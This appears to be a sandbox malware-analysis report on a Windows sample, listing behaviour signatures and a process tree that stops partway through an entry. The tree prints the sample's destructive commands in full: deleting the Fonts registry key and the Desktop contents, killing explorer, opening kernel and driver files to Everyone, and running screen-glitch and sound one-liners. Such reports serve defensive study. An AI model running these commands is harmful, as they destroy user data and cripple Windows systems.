Overview

overview

9

Static

static

3

XXX.exe

windows10-2004-x64

9

Analysis

  • user interaction
    yes
  • max time kernel
    55s
  • max time network
    47s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    14/11/2026, 13:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    XXX.exe
  • Size 146KB
  • Sample261114-q1s33set9m
  • SHA256 43448f2ed2cb8ae7f9550d65caa66b7b7b78aa480d1e352f79f4ad247331be6d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionexploitpersistenceransomware

Malware Config

Signatures

  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Possible privilege escalation attempt 64 IoCs
    exploit
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 64 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
    defense_evasion
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Modifies registry class 30 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\XXX.exe
    "C:\Users\Admin\AppData\Local\Temp\XXX.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3768
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\59A4.tmp\59A5.tmp\59A6.bat C:\Users\Admin\AppData\Local\Temp\XXX.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1220
      • C:\Windows\system32\msg.exe
        msg * you get last 9 seconds to prevent start malware!
        3⤵
          PID:4432
        • C:\Windows\system32\timeout.exe
          timeout /t 9 -nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1660
        • C:\Windows\system32\reg.exe
          reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" /f
          3⤵
            PID:2228
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "32 32 32" /f
            3⤵
              PID:4240
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "" /f
              3⤵
              • Sets desktop wallpaper using registry
              PID:204
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
              3⤵
                PID:2284
              • C:\Windows\system32\reg.exe
                reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
                3⤵
                  PID:3324
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -Command "Get-ChildItem -LiteralPath \"$env:USERPROFILE\Desktop\" -Force | Remove-Item -Recurse -Force"
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4584
                • C:\Windows\system32\rundll32.exe
                  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                  3⤵
                    PID:4544
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im explorer.exe
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2428
                  • C:\Windows\system32\takeown.exe
                    takeown /f "c:\windows\system32\ntoskrnl.exe" /a
                    3⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1432
                  • C:\Windows\system32\icacls.exe
                    icacls "c:\windows\system32\ntoskrnl.exe" /grant Everyone:F
                    3⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:2340
                  • C:\Windows\system32\takeown.exe
                    takeown /f "c:\windows\system32\taskmgr.exe" /a
                    3⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2360
                  • C:\Windows\system32\icacls.exe
                    icacls "c:\windows\system32\taskmgr.exe" /grant Everyone:F
                    3⤵
                    • Modifies file permissions
                    PID:3080
                  • C:\Windows\system32\takeown.exe
                    takeown /f "c:\windows\system32\resmon.exe" /a
                    3⤵
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3732
                  • C:\Windows\system32\icacls.exe
                    icacls "c:\windows\system32\resmon.exe" /grant Everyone:F
                    3⤵
                      PID:3456
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\hal.dll" /a
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2508
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\hal.dll" /grant Everyone:F
                      3⤵
                      • Modifies file permissions
                      PID:4896
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\kdcom.dll" /a
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4768
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\kdcom.dll" /grant Everyone:F
                      3⤵
                      • Possible privilege escalation attempt
                      PID:468
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\mcupdate_GenuineIntel.dll" /a
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5084
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\mcupdate_GenuineIntel.dll" /grant Everyone:F
                      3⤵
                      • Modifies file permissions
                      PID:60
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\pshed.dll" /a
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1912
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\pshed.dll" /grant Everyone:F
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:660
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\clfs.sys" /a
                      3⤵
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3540
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\clfs.sys" /grant Everyone:F
                      3⤵
                      • Possible privilege escalation attempt
                      PID:4468
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\ci.dll" /a
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4192
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\ci.dll" /grant Everyone:F
                      3⤵
                      • Possible privilege escalation attempt
                      PID:4256
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\drivers\wdf01000.sys" /a
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1776
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\drivers\wdf01000.sys" /grant Everyone:F
                      3⤵
                      • Possible privilege escalation attempt
                      PID:4920
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\drivers\wdfldr.sys" /a
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4432
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\drivers\wdfldr.sys" /grant Everyone:F
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:3896
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\drivers\acpi.sys" /a
                      3⤵
                      • Possible privilege escalation attempt
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3344
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\drivers\acpi.sys" /grant Everyone:F
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:4036
                    • C:\Windows\system32\takeown.exe
                      takeown /f "c:\windows\system32\drivers\wmilib.sys" /a
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4328
                    • C:\Windows\system32\icacls.exe
                      icacls "c:\windows\system32\drivers\wmilib.sys" /grant Everyone:F
                      3⤵
                        PID:5096
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\wmilib.sys"
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4736
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\msisadrv.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1540
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\msisadrv.sys" /grant Everyone:F
                        3⤵
                        • Modifies file permissions
                        PID:4012
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\pci.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5052
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\pci.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:2984
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\vdrvroot.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3604
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\vdrvroot.sys" /grant Everyone:F
                        3⤵
                        • Modifies file permissions
                        PID:2592
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\partmgr.sys" /a
                        3⤵
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3764
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\partmgr.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:884
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\compbatt.sys" /a
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2612
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\compbatt.sys" /grant Everyone:F
                        3⤵
                        • Modifies file permissions
                        PID:3824
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\battc.sys" /a
                        3⤵
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3292
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\battc.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:4276
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\volmgr.sys" /a
                        3⤵
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4244
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\volmgr.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:4252
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\volmgrx.sys" /a
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2632
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\volmgrx.sys" /grant Everyone:F
                        3⤵
                        • Modifies file permissions
                        PID:2284
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\mountmgr.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3324
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\mountmgr.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:2084
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\atapi.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1964
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\atapi.sys" /grant Everyone:F
                        3⤵
                        • Modifies file permissions
                        PID:3524
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\ataport.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2708
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\ataport.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:3636
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\msahci.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3816
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\msahci.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:3380
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\pciidex.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4424
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\pciidex.sys" /grant Everyone:F
                        3⤵
                        • Modifies file permissions
                        PID:3552
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\amdxata.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:3508
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\amdxata.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        PID:4332
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\fltmgr.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3984
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\fltmgr.sys" /grant Everyone:F
                        3⤵
                        • Modifies file permissions
                        PID:3352
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\fileinfo.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4980
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\fileinfo.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        PID:3568
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\ntfs.sys" /a
                        3⤵
                        • Possible privilege escalation attempt
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3560
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\ntfs.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:3064
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\msrpc.sys" /a
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3440
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\msrpc.sys" /grant Everyone:F
                        3⤵
                        • Modifies file permissions
                        PID:3312
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\ksecdd.sys" /a
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3512
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\ksecdd.sys" /grant Everyone:F
                        3⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:3416
                      • C:\Windows\system32\takeown.exe
                        takeown /f "c:\windows\system32\drivers\VBoxGuest.sys" /a
                        3⤵
                        • Looks for VirtualBox drivers on disk
                        • Possible privilege escalation attempt
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3008
                      • C:\Windows\system32\icacls.exe
                        icacls "c:\windows\system32\drivers\VBoxGuest.sys" /grant Everyone:F
                        3⤵
                          PID:3496
                        • C:\Windows\system32\takeown.exe
                          takeown /f "c:\windows\system32\drivers\cng.sys" /a
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:5008
                        • C:\Windows\system32\icacls.exe
                          icacls "c:\windows\system32\drivers\cng.sys" /grant Everyone:F
                          3⤵
                          • Possible privilege escalation attempt
                          PID:220
                        • C:\Windows\system32\takeown.exe
                          takeown /f "c:\windows\system32\drivers\pcw.sys" /a
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:64
                        • C:\Windows\system32\icacls.exe
                          icacls "c:\windows\system32\drivers\pcw.sys" /grant Everyone:F
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:2836
                        • C:\Windows\system32\takeown.exe
                          takeown /f "c:\windows\system32\drivers\Fs_rec.sys" /a
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3752
                        • C:\Windows\system32\icacls.exe
                          icacls "c:\windows\system32\drivers\Fs_rec.sys" /grant Everyone:F
                          3⤵
                          • Modifies file permissions
                          PID:3884
                        • C:\Windows\system32\takeown.exe
                          takeown /f "c:\windows\system32\drivers\ndis.sys" /a
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3804
                        • C:\Windows\system32\icacls.exe
                          icacls "c:\windows\system32\drivers\ndis.sys" /grant Everyone:F
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:4720
                        • C:\Windows\system32\takeown.exe
                          takeown /f "c:\windows\system32\drivers\netio.sys" /a
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3360
                        • C:\Windows\system32\icacls.exe
                          icacls "c:\windows\system32\drivers\netio.sys" /grant Everyone:F
                          3⤵
                            PID:4508
                          • C:\Windows\system32\takeown.exe
                            takeown /f "c:\windows\system32\drivers\ksecpkg.sys" /a
                            3⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2340
                          • C:\Windows\system32\icacls.exe
                            icacls "c:\windows\system32\drivers\ksecpkg.sys" /grant Everyone:F
                            3⤵
                            • Possible privilege escalation attempt
                            PID:2360
                          • C:\Windows\system32\takeown.exe
                            takeown /f "c:\windows\system32\drivers\tcpip.sys" /a
                            3⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1092
                          • C:\Windows\system32\icacls.exe
                            icacls "c:\windows\system32\drivers\tcpip.sys" /grant Everyone:F
                            3⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            PID:4264
                          • C:\Windows\system32\takeown.exe
                            takeown /f "c:\windows\system32\drivers\fwpkclnt.sys" /a
                            3⤵
                            • Modifies file permissions
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1688
                          • C:\Windows\system32\icacls.exe
                            icacls "c:\windows\system32\drivers\fwpkclnt.sys" /grant Everyone:F
                            3⤵
                            • Possible privilege escalation attempt
                            PID:372
                          • C:\Windows\system32\takeown.exe
                            takeown /f "c:\windows\system32\drivers\wfplwf.sys" /a
                            3⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1044
                          • C:\Windows\system32\icacls.exe
                            icacls "c:\windows\system32\drivers\wfplwf.sys" /grant Everyone:F
                            3⤵
                              PID:5088
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\drivers\vmstorfl.sys" /a
                              3⤵
                              • Possible privilege escalation attempt
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1908
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\drivers\vmstorfl.sys" /grant Everyone:F
                              3⤵
                              • Modifies file permissions
                              PID:4112
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\drivers\volsnap.sys" /a
                              3⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4880
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\drivers\volsnap.sys" /grant Everyone:F
                              3⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              PID:1444
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\drivers\spldr.sys" /a
                              3⤵
                              • Possible privilege escalation attempt
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4360
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\drivers\spldr.sys" /grant Everyone:F
                              3⤵
                              • Modifies file permissions
                              PID:4160
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\drivers\rdyboost.sys" /a
                              3⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4128
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\drivers\rdyboost.sys" /grant Everyone:F
                              3⤵
                              • Modifies file permissions
                              PID:4196
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\drivers\mup.sys" /a
                              3⤵
                              • Possible privilege escalation attempt
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4180
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\drivers\mup.sys" /grant Everyone:F
                              3⤵
                              • Modifies file permissions
                              PID:5016
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\drivers\hwpolicy.sys" /a
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2220
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\drivers\hwpolicy.sys" /grant Everyone:F
                              3⤵
                              • Modifies file permissions
                              PID:3480
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\drivers\fvevol.sys" /a
                              3⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3916
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\drivers\fvevol.sys" /grant Everyone:F
                              3⤵
                              • Possible privilege escalation attempt
                              PID:1392
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\drivers\disk.sys" /a
                              3⤵
                              • Possible privilege escalation attempt
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4268
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\drivers\disk.sys" /grant Everyone:F
                              3⤵
                              • Possible privilege escalation attempt
                              PID:4744
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\drivers\classpnp.sys" /a
                              3⤵
                              • Possible privilege escalation attempt
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1304
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\drivers\classpnp.sys" /grant Everyone:F
                              3⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              PID:820
                            • C:\Windows\system32\takeown.exe
                              takeown /f "c:\windows\system32\logonui.exe" /a
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:980
                            • C:\Windows\system32\icacls.exe
                              icacls "c:\windows\system32\logonui.exe" /grant Everyone:F
                              3⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              PID:4084
                            • C:\Windows\explorer.exe
                              explorer.exe
                              3⤵
                              • Boot or Logon Autostart Execution: Active Setup
                              • Enumerates connected drives
                              • Checks SCSI registry key(s)
                              • Modifies registry class
                              • Suspicious behavior: GetForegroundWindowSpam
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of SendNotifyMessage
                              PID:4404
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -NoProfile -Command "$code = 'using System; using System.Runtime.InteropServices; public class G1 { [DllImport(\"gdi32.dll\")] public static extern bool StretchBlt(IntPtr d,int x,int y,int w,int h,IntPtr s,int sx,int sy,int sw,int sh,uint r); [DllImport(\"user32.dll\")] public static extern IntPtr GetDC(IntPtr h); }'; Add-Type -TypeDefinition $code; $d = [G1]::GetDC([IntPtr]::Zero); while(1) { [G1]::StretchBlt($d,-50,0,3840,2160,$d,0,0,3840,2160,0xCC0020); Start-Sleep -Milliseconds 10 }"
                              3⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4140
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0w2reclr\0w2reclr.cmdline"
                                4⤵
                                  PID:3528
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8DB5.tmp" "c:\Users\Admin\AppData\Local\Temp\0w2reclr\CSC93215F3DFEA440D9A07B118D92BF3659.TMP"
                                    5⤵
                                      PID:636
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -NoProfile -Command "$p = New-Object System.Media.SoundPlayer; $code = 'using System; using System.IO; public class BB1 { public static Stream Generate() { MemoryStream ms = new MemoryStream(); BinaryWriter bw = new BinaryWriter(ms); bw.Write(0x46464952); bw.Write((int)36 + 8000 * 45); bw.Write(0x45564157); bw.Write(0x20746d66); bw.Write((int)16); bw.Write((short)1); bw.Write((short)1); bw.Write((int)8000); bw.Write((int)8000); bw.Write((short)1); bw.Write((short)8); bw.Write(0x61746164); bw.Write((int)8000 * 45); for (int t = 0; t < 8000 * 45; t++) { byte b = (byte)(t * (t ^ t + (t >> 15 | 1) ^ (t - 1280 ^ t) >> 10)); bw.Write(b); } ms.Seek(0, SeekOrigin.Begin); return ms; } }'; Add-Type -TypeDefinition $code; $p.Stream = [BB1]::Generate(); $p.PlaySync();"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3608
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uwmbmyhk\uwmbmyhk.cmdline"
                                    4⤵
                                      PID:3536
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8DB4.tmp" "c:\Users\Admin\AppData\Local\Temp\uwmbmyhk\CSC7B5C6E23CF924B4D9BDC776DBA6D2E6C.TMP"
                                        5⤵
                                          PID:4044
                                    • C:\Windows\system32\timeout.exe
                                      timeout /t 45 /nobreak
                                      3⤵
                                      • Delays execution with timeout.exe
                                      PID:1592
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /f /im powershell.exe
                                      3⤵
                                      • Kills process with taskkill
                                      PID:4636
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
